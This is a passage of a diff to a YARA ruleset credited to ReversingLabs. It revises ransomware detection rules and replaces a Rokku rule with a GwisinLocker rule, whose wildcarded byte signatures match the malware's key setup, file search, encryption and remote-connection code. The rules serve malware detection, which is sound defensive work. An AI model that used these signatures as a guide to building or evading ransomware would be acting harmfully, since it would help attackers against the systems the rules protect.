-            ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 84 C0 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
-            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ??
-            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ??
-            ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
-            8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C2
+		$remote_connection_1 = {
+            55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
+            30 64 89 20 8B 45 ?? 33 D2 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45
+            ?? 8B 08 FF 51 ?? 8B 45 ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B
+            D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 45
+            ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 E8 ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? 59 E8 ??
+            ?? ?? ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 89 4D ?? 89 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
-            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 C6 45 ?? ?? 33 D2 55 68 ?? ?? ?? ?? 64 FF
-            32 64 89 22 B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B D8 8B C3 8B D8 F6 C3 ?? 74 ?? 66 83 E3 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B C3
-            E8 ?? ?? ?? ?? 8B D0 B1 ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 4D ?? B2 ?? A1 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 D2
-            55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 8B 10 FF 12 8B C8 8B 55 ?? A1 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B C8 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 88 45 ?? 33 C0 5A 59 59 64
-            89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ??
-            ?? EB ?? 80 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 45 ?? 89 45 ?? C6 45 ?? ?? B8 ?? ?? ?? ??
-            89 45 ?? C6 45 ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 88 45
-            ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? E9
+		$remote_connection_2 = {
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33
+            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? 8B 80 ?? ?? ?? ?? 66 BE ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8
+            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
+        }
+		$remote_connection_3 = {
+            E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ??
+            ?? ?? DD 5D ?? 9B FF 75 ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ??
+            8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF
+            75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D
+            ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B
+            45 ?? E8 ?? ?? ?? ?? C3
+        }
+		$encrypt_files_1 = {
+            E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8
+            ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ??
+            8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? 83 7B ?? ?? 0F 84 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B
+            03 E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 03 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 86 ?? ??
+            ?? ?? B2 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 03 E8 ?? ?? ?? ?? FF 75 ??
+            68 ?? ?? ?? ?? 8B 43 ?? C1 E8 ?? 33 D2 52 50 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 86 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 03 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3
+        }
+		$encrypt_files_2 = {
+            E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? 8B 12 8B 92 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? E8 ?? ?? ?? ?? 3D ??
+            ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ??
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 8B 40
+            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00
+            8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
+            C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ??
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? 8B 00 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8
+            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45
+            ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3
         }
 		$find_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 8B FA 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 7C ?? 8B 45 ?? 66
-            83 3C 58 ?? 75 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? E8 ?? ?? ?? ??
-            8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 8D 45 ?? 50 8D 53 ?? 8B CE 8B 45 ?? E8 ?? ?? ??
-            ?? 8B C7 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8
-            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B C7 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68
-            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3
+            E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ??
+            84 C0 0F 85 ?? ?? ?? ?? 33 C0 89 43 ?? 8B 43 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 7C ?? 46
+            33 FF 8B 43 ?? C7 04 B8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8B
+            F0 85 F6 7C ?? 46 33 FF 8B 43 ?? 8B 40 ?? 8B 14 B8 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 43 ?? 8B 53 ?? 89 14 B8 47 4E 75
+            ?? 8B 73 ?? 4E 85 F6 7C ?? 46 33 FF 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 04 BF 8B 53 ??
+            8D 04 C2 89 43 ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? 8B 10 8B 45 ?? E8 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B
+            45 ?? 33 D2 E8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? 80 78 ?? ?? 0F 84 ?? ?? ??
+            ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? BA ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ??
+            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3
+            E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($generate_key) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and $find_files and $encrypt_files_1 and $encrypt_files_2 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3
 }
-rule REVERSINGLABS_Win32_Ransomware_Rokku : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Linux_Ransomware_Gwisinlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Rokku ransomware."
+		description = "Yara rule that detects GwisinLocker ransomware."
 		author = "ReversingLabs"
-		id = "8722ed4a-b480-57ec-bba7-ce7d0f3704b9"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "9f00e1b4-3692-5824-b614-724073532c1f"
+		date = "2022-10-11"
+		modified = "2022-10-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Rokku.yara#L1-L147"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fefb342f8a9afac3b40c343b830f334225ff4198d55504846aa855acf5dfc9ba"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Linux.Ransomware.GwisinLocker.yara#L1-L354"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c23c0b73bbefbd644ffe1398e1f14eec3a89945cb3c3ccbc6f46c57046b53505"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27299,454 +28997,308 @@ rule REVERSINGLABS_Win32_Ransomware_Rokku : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Rokku"
+		tc_detection_name = "GwisinLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 8B E9 C7 44 24 ?? ?? ?? ?? ?? 33 DB 89 6C 24 ??
-            56 0F 57 C0 66 C7 44 24 ?? ?? ?? 57 66 0F 13 44 24 ?? B2 ?? 88 5C 24 ?? 8B CB 8A C1
-            02 C2 30 44 0C ?? 41 83 F9 ?? 73 ?? 8A 54 24 ?? EB ?? 8B CD 88 5C 24 ?? E8 ?? ?? ??
-            ?? 8D 54 24 ?? 8B C8 E8 ?? ?? ?? ?? 85 C0 75 ?? 40 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 51 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B D6 E8 ?? ?? ?? ?? 59 56 BE
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 4C 24 ?? 6A
-            ?? 8B D5 E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B C1 8B 94 24 ?? ?? ?? ?? 0B C2 0F 84 ??
-            ?? ?? ?? 6A ?? 5D 3B D3 77 ?? 81 F9 ?? ?? ?? ?? 76 ?? 2B CD 1B D3 52 51 55 8D 4C 24
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C5 0F 85 ?? ?? ?? ?? 8B CD 8B C3 8A 90 ?? ?? ?? ?? 49
-            8A B0 ?? ?? ?? ?? 3A D6 75 ?? 40 85 C9 75 ?? 8B CB EB ?? 0F B6 C6 0F B6 CA 2B C8 85
-            C9 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 8B D6 50 B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 19 41 83 E8 ?? 75 ??
-            8B 6C 24 ?? 8B 7C 24 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 2B C7 1B CD 3B EB
+		$init_key_v1 = {
+            55 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 74 24 ?? 56 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 31 FF 83 EC ?? 56 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89
+            F8 5B 5E 5F 5D C3 66 90 31 D2 31 C0 89 54 04 ?? 83 C0 ?? 83 F8 ?? 72 ?? 83 EC ?? 8D
+            83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C5 8D 7C 24 ?? 85
+            C0 74 ?? 50 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 89 2C 24 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ??
+            6A ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? 83 EC ?? 8D 44
+            24 ?? 50 FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? FF B3
+            ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 56 FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            0F 94 C0 0F B6 C0 89 C7 E9
         }
-		$encrypt_files_p2 = {
-            7C ?? 7F ?? 81 FF ?? ?? ?? ?? 72 ?? 8B AC 24 ?? ?? ?? ?? 0F 57 C0 8B BC 24 ?? ?? ??
-            ?? 8B 4C 24 ?? 55 57 66 0F 13 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 59 59 8B 4C 24 ??
-            3B CB 77 ?? 3B C3 77 ?? 8B F3 EB ?? 3B CB 77 ?? 72 ?? 3D ?? ?? ?? ?? 72 ?? B8 ?? ??
-            ?? ?? 55 57 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 88 ?? ?? ?? ?? 74
-            ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 56 50 8B D0 E8 ?? ?? ?? ?? 55 57 56 BA ?? ?? ?? ??
-            8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? 99 03 F8 13 EA E9 ?? ??
-            ?? ?? 6A ?? 58 89 1D ?? ?? ?? ?? 83 E8 ?? 75 ?? 8B C7 89 1D ?? ?? ?? ?? 0B C5 BE ??
-            ?? ?? ?? 74 ?? 51 8D 54 24 ?? E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 3B F1 74 ?? 56 51 BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 57 BD ?? ?? ?? ?? 8B D1 55 8D 4C 24 ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? EB ?? BD ?? ?? ?? ?? 6A ?? 59 8B C1 BA ??
-            ?? ?? ?? C6 02 ?? 42 83 E8 ?? 75 ?? B8 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 6A ??
-            58 B9 ?? ?? ?? ?? C6 01 ?? 41 83 E8 ?? 75 ?? C6 06 ?? 46 83 ED ?? 75 ?? 6A ?? 8D 44
-            24 ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? B1 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? 8B C3 30 4C 04 ?? 40 83 F8 ?? 73 ?? 8A 4C 24 ?? EB ?? 8B 4C 24 ?? 8D 54 24 ??
-            88 5C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B D6 E8 ??
-            ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 33 DB 43 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B C3 EB ?? 8D 4C
-            24 ?? E8 ?? ?? ?? ?? 33 C0 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+		$encrypt_files_v1_p1 = {
+            55 B9 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8B 84
+            24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 84 24
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 83 EC ?? 89 44 24 ?? 89
+            C7 31 C0 F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 89 44
+            24 ?? 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? 31 FF 83 EC ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8
+            ?? ?? ?? ?? 58 5A 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 59 5E 6A ?? FF 74 24 ?? E8 ?? ??
+            ?? ?? 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 83 EC ?? 6A ?? 8D 84 24
+            ?? ?? ?? ?? 89 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 89 74 24 ??
+            85 C0 74 ?? 83 EC ?? 6A ?? FF 74 24 ?? 56 E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 59 5E 50
+            89 C5 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F 84 ??
+            ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 89 C7 FF B4 24 ??
+            ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 01 FA 89 D0 8B 54
+            24 ?? 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? 8B 94 24 ?? ?? ?? ??
+            C6 44 3A ?? ?? BF ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 39 C1 B9 ?? ?? ?? ?? 19 D1 7D ?? 83 EC ?? FF B4 24
+            ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? FF 74
+            24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 83 EC ?? 56 E8 ?? ?? ??
+            ?? 58 5A 55 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F
         }
-		$encrypt_files_p3 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 55 56 57 6A ?? 5E 56 BF ?? ?? ?? ?? 57 FF 15
-            ?? ?? ?? ?? 51 BB ?? ?? ?? ?? BD ?? ?? ?? ?? 8B D3 8B CD E8 ?? ?? ?? ?? 59 56 57 FF
